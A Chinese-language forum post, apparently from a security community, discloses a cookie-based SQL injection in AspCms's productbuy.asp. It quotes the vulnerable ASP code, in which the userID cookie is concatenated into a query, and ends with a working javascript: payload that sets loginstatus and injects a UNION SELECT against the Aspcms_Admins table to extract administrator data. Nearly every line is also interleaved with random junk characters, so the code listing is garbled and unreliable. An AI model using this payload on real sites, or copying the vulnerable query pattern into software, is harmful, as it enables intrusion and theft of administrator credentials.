好久没上土司了,上来一看发现在删号名单内.....
& B6 O5 o% A! z3 O, c8 I: m, V也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
+ D) B9 `% O: G, v0 V2 R/ N废话不多说,看代码:
& I3 k, u: f1 B- T( {4 P) m
, e9 H' W0 ]/ c D6 |3 W* X8 @) V<%
9 S/ K, A* l0 ^$ E5 D' |$ U: s F E, u
if action = "buy" then
; @9 D! ]3 i$ _; Z% e$ p" S: g. l$ @6 n" \' k4 m5 g
addOrder()
) F T; X( G9 z- n5 @9 {$ k! q6 r
% L) n3 Y1 W' I* a( Qelse2 s1 H7 t: W5 R
2 \8 r: C0 f! V" r8 w
echoContent() s z" I; _6 ^: ~8 h2 j
: g$ ?" r* s$ w" i. O' H
end if# l. I' n6 ^* U
( k- k! Z5 H9 _9 J. W! C
. T6 s! W; C; |+ w& L" D. i
: u; L. U3 w4 b; g. h8 }
……略过, k2 n/ [) u" D( a6 R
+ l$ z$ T6 P. t
, w# N" B2 H' j) a+ `% Q4 ?/ \# a3 K9 r6 U8 W. Z9 E2 k
Sub echoContent()
3 w- |4 A! Q; v5 o2 b4 r: M2 b' A* s- K: K
dim id1 t" g$ V; @( x2 s* @$ x
" b; S# j# U0 b2 Q' d
id=getForm("id","get")' D, @) g/ y, E1 U( \! F" k- u! m3 U
+ V% t. i; e5 E, h( J
1 Q) V- Q6 J* A; t
: n/ h. d$ d7 U3 Q if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 3 X3 [7 M4 r0 n. U: U$ I" c
9 ?* c: {7 [* X' O/ v/ o4 d* s+ u
; }7 e$ E; I# @2 T: I9 I d
6 `# U2 ?0 P' J4 G3 ?. l0 p dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")
$ y% D, @$ D: z3 C' X' q) H
) W, }0 \# W, D7 q3 m* r C7 D' [5 @ dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
4 P% |+ K% D3 R! P8 U5 w- u) ?" v% \$ A
Dim templatePath,tempStr
* l( M9 X% `: f3 n+ z2 U+ [' U( x
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
5 m4 O# v5 J8 i" \0 V0 q7 S+ W% n) K+ ~) m, ^
- ^6 n8 ~3 s5 e! F
. ]3 H) v4 d9 ^# u* X set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")) w. n5 x5 s2 g$ Y& D! u( {9 e1 M
% v/ j6 l/ k5 O1 t1 L7 I) z9 u
selectproduct=rsObj(0)
/ D1 {+ `) S2 p: K* M7 z) u9 [) J) \$ D F( l$ L. {! i3 B' I9 f
0 P T. h v/ d
* |9 h, _3 c5 ]& ~ Dim linkman,gender,phone,mobile,email,qq,address,postcode
0 n! `0 [; j g: q- y' K; h" f
+ l3 J" I! b8 F! @4 j if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
) T% @/ q6 j( O$ H
. k8 `& e7 Q* c4 K* {; D if rCookie("loginstatus")=1 then / a" K4 z( u) d' D" v0 S' i/ ?2 c
5 G* Q6 u* A0 W- l& n; d set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")8 H4 s( e, O! F: A3 w
K- o5 l9 }( p; L
linkman=rsObj("truename")
7 O7 @5 H7 b" R. x3 d; `2 ~' q- p2 Q$ {. \4 c$ w! Z4 `
gender=rsObj("gender")
4 T4 ?9 l& h7 M* O1 C! [: Y% u% R- X
: G. v c. D) j( \1 L4 Z phone=rsObj("phone")7 c0 i/ P9 `% j7 u6 I& x
/ u9 H3 \ N+ `) L mobile=rsObj("mobile")7 `9 u+ }1 @& U y: {
) j6 r% F, I2 c& v email=rsObj("email")7 g. H) j: a4 E: B3 Y' _+ }
2 M* }* z% r! r! [! N+ F% s qq=rsObj("qq")
( v# r' b2 |3 Z# N/ w- P' M: ]4 n' k
address=rsObj("address")
% N- n4 B3 ~6 c; w5 k/ g: P) U% v& _: _
postcode=rsObj("postcode")
9 H* x/ y7 j' L$ X* h- P5 I- b% {6 d0 b+ q) U+ G
else
6 D- d: g; ?2 ~5 {" g7 w6 w% l+ [5 c1 I! ^2 A/ g7 L
gender=1
$ n v5 Q, [) p5 J- k, x5 F1 I9 ?
" M }" n2 v& ?/ O1 D# { end if
" ]: O" P u) x/ B; \( P
9 d* {* o9 y& ~, |4 @0 a4 a rsObj.close()$ |6 a; c! X( |6 e; t* _; q
3 W1 W1 y( r& \2 y, Y% Z; ^# y
`2 V0 C) H7 a$ A, d: B) ?5 l! y
1 _- J' t/ ^0 Z with templateObj
- c& d: j$ ]0 O
/ F. X. m: w ?. \6 E( B .content=loadFile(templatePath)
/ D, @/ t# [1 |$ \- d6 \0 r3 O; b
5 k" t1 B' O, J1 y0 _/ r .parseHtml()
- _5 v& x- a/ G: Z
, M' s7 r7 s6 } .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
" e+ o' @) ^' }5 m# h9 k$ P6 Z: F/ D( c
.content=replaceStr(.content,"[aspcms:linkman]",linkman) , u9 c* x$ t7 {" }! D9 _
# n7 m9 j/ y5 ~0 W! ?7 W4 T .content=replaceStr(.content,"[aspcms:gender]",gender)
1 c8 \* G# X6 Q! W t6 s, `8 s8 ] G' A1 ^% m
.content=replaceStr(.content,"[aspcms:phone]",phone) - f- O4 n" ^0 o" f5 M0 X
. n, ~1 y: {/ d4 V: c .content=replaceStr(.content,"[aspcms:mobile]",mobile)
% |/ O6 |; D* u/ O. E/ p ?: w R) w4 V) {0 S8 E
.content=replaceStr(.content,"[aspcms:email]",email) 0 M' A* r3 M( d) [) z. |
8 {: E' n- ^1 H% H1 H) `+ F" e
.content=replaceStr(.content,"[aspcms:qq]",qq) - C/ p3 V& ]; g- R' I
# i, L3 K- I5 { l .content=replaceStr(.content,"[aspcms:address]",address) 0 {7 N+ V/ m! i
, V' R2 l7 E3 G9 ~ F
.content=replaceStr(.content,"[aspcms:postcode]",postcode) / c+ G& l: E9 H! p' T
6 u$ {) Q+ l/ _, C6 z: q f& I
.parseCommon()
; E% T8 h) t; Y' C) Z) T5 e C. p* k* I$ K
echo .content
5 c. R. P6 c! }( M2 w; t$ |# h. n9 Y- P) w: m' r' j: N. c
end with9 b' G F( x% u/ A
/ {3 S0 [0 x: U/ W6 o7 H set templateobj =nothing : terminateAllObjects0 T1 [! M. k$ h3 ^' o) v) @
- O+ q1 G* R; VEnd Sub& ~/ m& M' Q$ c: I' V3 t* j' s
漏洞很明显,没啥好说的( _, e. k. a0 D& M" j
poc:
9 {, O; ^% q$ Q2 l! S) B7 v: _
4 o' M' |( R5 m2 mjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
2 @8 p- l7 g5 }1 A9 I. _3 V g
) m% o; U+ _) O, u; r |